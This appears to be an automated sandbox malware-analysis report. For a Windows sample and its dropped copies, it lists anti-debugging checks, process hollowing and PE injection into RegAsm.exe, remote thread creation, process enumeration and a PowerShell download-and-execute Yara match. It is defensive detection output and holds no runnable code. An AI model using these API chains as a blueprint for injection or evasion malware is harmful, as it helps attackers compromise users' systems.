Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Code function: 0_2_0057DE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0057DE43

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0045A102 CreateThread,FindCloseChangeNotification,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,

2_2_0045A102

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004595B8

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_005851C2 mov eax, dword ptr fs:[00000030h]	0_2_005851C2
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_00581F18 mov ecx, dword ptr fs:[00000030h]	0_2_00581F18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045A102 mov eax, dword ptr fs:[00000030h]	2_2_0045A102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045A102 mov ecx, dword ptr fs:[00000030h]	2_2_0045A102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C86C0 mov eax, dword ptr fs:[00000030h]	2_2_004C86C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	2_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	2_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	2_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3070 mov ecx, dword ptr fs:[00000030h]	2_2_004D3070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004595B8 mov eax, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004595B8 mov eax, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004595B8 mov eax, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004595B8 mov ecx, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00495790 mov eax, dword ptr fs:[00000030h]	2_2_00495790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045DB00 mov eax, dword ptr fs:[00000030h]	2_2_0045DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0045DB00 mov eax, dword ptr fs:[00000030h]	2_2_0045DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D6280 mov eax, dword ptr fs:[00000030h]	2_2_004D6280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CA502 mov eax, dword ptr fs:[00000030h]	2_2_004CA502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CA6B3 mov eax, dword ptr fs:[00000030h]	2_2_004CA6B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C8C58 mov eax, dword ptr fs:[00000030h]	2_2_004C8C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C6D80 mov eax, dword ptr fs:[00000030h]	2_2_004C6D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C8E09 mov eax, dword ptr fs:[00000030h]	2_2_004C8E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CB15E mov eax, dword ptr fs:[00000030h]	2_2_004CB15E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C9213 mov eax, dword ptr fs:[00000030h]	2_2_004C9213
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CB30F mov eax, dword ptr fs:[00000030h]	2_2_004CB30F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C93CB mov eax, dword ptr fs:[00000030h]	2_2_004C93CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C9B4B mov eax, dword ptr fs:[00000030h]	2_2_004C9B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C9CFC mov eax, dword ptr fs:[00000030h]	2_2_004C9CFC
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DB51C2 mov eax, dword ptr fs:[00000030h]	13_2_00DB51C2
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DB1F18 mov ecx, dword ptr fs:[00000030h]	13_2_00DB1F18
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_006351C2 mov eax, dword ptr fs:[00000030h]	14_2_006351C2
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_00631F18 mov ecx, dword ptr fs:[00000030h]	14_2_00631F18
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BE51C2 mov eax, dword ptr fs:[00000030h]	26_2_00BE51C2
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BE1F18 mov ecx, dword ptr fs:[00000030h]	26_2_00BE1F18
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C451C2 mov eax, dword ptr fs:[00000030h]	33_2_00C451C2
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C41F18 mov ecx, dword ptr fs:[00000030h]	33_2_00C41F18
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_004451C2 mov eax, dword ptr fs:[00000030h]	42_2_004451C2
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_00441F18 mov ecx, dword ptr fs:[00000030h]	42_2_00441F18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041ACF3 mov eax, dword ptr fs:[00000030h]	43_2_0041ACF3

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Code function: 0_2_0058D31C GetProcessHeap,

0_2_0058D31C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_0057A082 SetUnhandledExceptionFilter,	0_2_0057A082
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_0057A1E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0057A1E0
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_0057DE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0057DE43
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_00579F26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00579F26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00434184 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00434184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00434311 SetUnhandledExceptionFilter,	2_2_00434311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043451D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0043451D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00438A64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00438A64
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DAA082 SetUnhandledExceptionFilter,	13_2_00DAA082
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DAA1E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00DAA1E0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DADE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00DADE43
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DA9F26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00DA9F26
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_0062A082 SetUnhandledExceptionFilter,	14_2_0062A082
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_0062A1E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0062A1E0
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_0062DE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0062DE43
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_00629F26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00629F26
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BDA082 SetUnhandledExceptionFilter,	26_2_00BDA082
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BDA1E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00BDA1E0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BDDE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00BDDE43
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BD9F26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00BD9F26
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C3A082 SetUnhandledExceptionFilter,	33_2_00C3A082
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C3A1E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	33_2_00C3A1E0
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C3DE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_00C3DE43
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C39F26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_00C39F26
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_0043A082 SetUnhandledExceptionFilter,	42_2_0043A082
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_0043A1E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_0043A1E0
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_0043DE43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_0043DE43
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_00439F26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00439F26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00421C0B memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	43_2_00421C0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00423DCD SetUnhandledExceptionFilter,	43_2_00423DCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0042224F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	43_2_0042224F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221842AF SetUnhandledExceptionFilter,	43_2_221842AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22182C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	43_2_22182C8E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7316, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Code function: 0_2_0056018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0056018D

Contains functionality to inject threads in other processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004CF280 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

2_2_004CF280

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_004138BA CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification,		43_2_004138BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_004137BD CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		43_2_004137BD

Writes to foreign memory regions

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A0A008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C1B008	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
